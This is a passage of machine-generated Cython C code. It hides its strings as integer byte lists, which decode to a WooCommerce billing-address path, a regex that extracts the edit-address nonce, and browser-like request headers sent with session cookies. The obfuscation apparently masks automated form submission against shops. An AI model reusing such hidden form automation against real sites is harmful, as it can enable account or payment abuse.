    PyList_SET_ITEM(__pyx_t_15, 46, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 47, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 48, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 49, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 50, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 51, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 52, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 53, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 55, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 56, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 57, __pyx_int_47);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 438, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 438, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyTuple_New(1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 437, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_GIVEREF(__pyx_t_15);
    PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_15);
    __pyx_t_15 = 0;

    
    __pyx_t_15 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 439, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_r); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 439, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cookies); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 439, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_cookies, __pyx_t_9) < 0) __PYX_ERR(0, 439, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_headers); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 440, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_headers, __pyx_t_9) < 0) __PYX_ERR(0, 439, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_13, __pyx_t_15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 437, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_response, __pyx_t_9) < 0) __PYX_ERR(0, 437, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_re); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 441, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_search); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 441, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyList_New(51); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 442, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 12, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 13, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 14, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 16, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 18, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 19, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 20, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 21, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 22, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 23, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 24, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 25, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 26, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 27, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 28, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 29, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 30, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 31, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 32, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 33, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 34, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 35, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_13, 36, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_13, 37, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_13, 38, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 39, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 40, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 41, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 42, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_13, 43, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_13, 44, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_40);
    __Pyx_GIVEREF(__pyx_int_40);
    PyList_SET_ITEM(__pyx_t_13, 45, __pyx_int_40);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_13, 46, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_13, 47, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_63);
    __Pyx_GIVEREF(__pyx_int_63);
    PyList_SET_ITEM(__pyx_t_13, 48, __pyx_int_63);
    __Pyx_INCREF(__pyx_int_41);
    __Pyx_GIVEREF(__pyx_int_41);
    PyList_SET_ITEM(__pyx_t_13, 49, __pyx_int_41);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_13, 50, __pyx_int_34);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 442, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 442, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 443, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 443, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_5)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_5);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_2)) {
      PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_13, __pyx_t_10};
      __pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 441, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
      __Pyx_GOTREF(__pyx_t_15);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) {
      PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_13, __pyx_t_10};
      __pyx_t_15 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 441, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
      __Pyx_GOTREF(__pyx_t_15);
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    } else
    #endif
    {
      __pyx_t_1 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 441, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      if (__pyx_t_5) {
        __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_13);
      PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_12, __pyx_t_13);
      __Pyx_GIVEREF(__pyx_t_10);
      PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_12, __pyx_t_10);
      __pyx_t_13 = 0;
      __pyx_t_10 = 0;
      __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 441, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_15);
      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    }
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_group); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 443, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = NULL;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) {
      __pyx_t_15 = PyMethod_GET_SELF(__pyx_t_2);
      if (likely(__pyx_t_15)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
        __Pyx_INCREF(__pyx_t_15);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_2, function);
      }
    }
    __pyx_t_9 = (__pyx_t_15) ? __Pyx_PyObject_Call2Args(__pyx_t_2, __pyx_t_15, __pyx_int_1) : __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_int_1);
    __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 443, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_address, __pyx_t_9) < 0) __PYX_ERR(0, 441, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_116);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(135); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_43);
    __Pyx_GIVEREF(__pyx_int_43);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_43);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 33, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 34, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 35, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 36, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 37, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 38, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 39, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 40, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 41, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 42, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 43, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 44, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 45, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 46, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 47, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 48, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 49, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 50, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 51, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_57);
